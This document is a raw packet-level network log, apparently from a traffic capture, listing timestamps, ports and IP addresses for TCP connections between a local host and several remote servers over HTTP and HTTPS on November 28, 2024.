Nov 28, 2024 02:27:42.858763933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.858951092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.859683990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.859751940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.859787941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.859827995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.860733032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.860861063 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.860866070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.860904932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.861854076 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.861932039 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.862173080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.862339020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.863034010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.863198042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.863229990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.863269091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.864114046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.864125967 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.864329100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.864856005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.864919901 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.864970922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.865066051 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.865907907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.866000891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.866060019 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.867038965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.867099047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.867345095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.867634058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.868053913 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.868066072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.868114948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.868976116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.869184971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.869200945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.869224072 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.870167017 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.870181084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.870238066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.871217012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.871231079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.871315956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.872268915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.872343063 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.872587919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.872634888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.873239040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.873251915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.873312950 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.874128103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.874183893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.874267101 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.874351025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.875190020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.875288010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.875329971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.876230955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.876291990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.876329899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.876425028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.877250910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.877336025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.877382040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.877418995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.899657965 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.899689913 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.899735928 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.899744034 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.899838924 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.900181055 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.900206089 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.900283098 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.900298119 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.900374889 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.966953993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.018050909 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.018074036 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.018150091 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.018160105 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.018174887 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.018371105 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.023741007 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.023766041 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.023869991 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.023879051 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.023888111 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.023957968 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.028116941 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.028198004 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.028238058 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.028314114 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.031131029 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.031137943 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.062997103 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.063020945 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.063076973 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.063081980 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.063110113 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.063129902 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.089449883 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.089471102 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.089549065 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.089556932 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.089659929 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.090883970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.101166964 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:43.101232052 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:43.101500034 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:43.101607084 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:43.101617098 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:43.107896090 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.107913017 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.107950926 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.107964039 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.107978106 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.108006954 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.207644939 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.207681894 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.207746983 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.207761049 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.207833052 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.226474047 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:43.226546049 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:43.226603031 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:43.227880001 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.227911949 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.227976084 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.227984905 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.228017092 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.244365931 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.244395018 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.244493008 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.244503021 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.244553089 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.259819031 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.259840012 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.259908915 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.259917974 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.259963036 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.262578964 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.273204088 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.273222923 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.273307085 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.273324013 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.273363113 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.287441969 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.287458897 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.287525892 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.287544966 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.287586927 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.311929941 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:43.311955929 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:43.313019991 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.336971998 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.336996078 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.337810040 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.337821007 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.391807079 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.391827106 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.391872883 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.391889095 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.391900063 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.391922951 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.403347015 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.403362036 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.403439999 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.403458118 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.403498888 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.414953947 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.414969921 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.415035009 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.415040970 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.415080070 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.417247057 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.417323112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.417407990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.417738914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.417785883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.417865992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.417910099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.417948961 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.417995930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.418905020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.418945074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.419238091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.419277906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.419915915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.419955969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.420131922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.420172930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.420958996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.421001911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.421144009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.421185017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.422101974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.422143936 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.422259092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.422298908 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.423013926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.423052073 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.423445940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.423507929 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.424046040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.424088001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.424165964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.424207926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.424427032 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.424442053 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.424482107 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.424494982 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.424525023 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.424546957 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.425092936 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.425133944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.425230026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.426131964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.426183939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.426243067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.426284075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.427213907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.427256107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.427352905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.428201914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.428241968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.428581953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.428622961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.429224014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.429291964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.429327011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.429368973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.430412054 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.430423975 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.430490971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.430490971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.431286097 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.431658983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.431698084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.432311058 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.432349920 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.433156013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.435539007 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.435554028 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.435619116 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.435620070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.435631037 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.437191010 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.442732096 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.442785025 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.442806959 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.442815065 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.442846060 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.442862034 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.523102999 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.529882908 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.529906988 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.556617975 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.556716919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.556715965 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.556750059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.557126999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.557183981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.557239056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.557274103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.557805061 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.557864904 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.558204889 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.558294058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.558830976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.558875084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.559056044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.559098005 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.559864044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.559916019 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.560178041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.560211897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.560918093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.560962915 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.561197042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.561243057 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.561930895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.561968088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.562115908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.562150002 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.562980890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.563018084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.563112020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.563321114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.563997984 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.564034939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.564075947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.564109087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.565042019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.565084934 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.565221071 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.565232992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.565279961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.566068888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.566134930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.566252947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.566360950 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.567085981 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.567130089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.567351103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.567389011 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.568124056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.568200111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.568614960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.568655968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.569168091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.569437981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.570208073 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.570220947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.570245981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.570265055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.570360899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.570449114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.571221113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.571261883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.571871042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.571918964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.572247982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.572285891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.572843075 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.572882891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.573335886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.573348999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.573379993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.573847055 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.573872089 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.574378014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.574389935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.574421883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.574436903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.574460983 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.574466944 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.575627089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.575642109 CET	80	49823	185.215.113.206	192.168.2.6
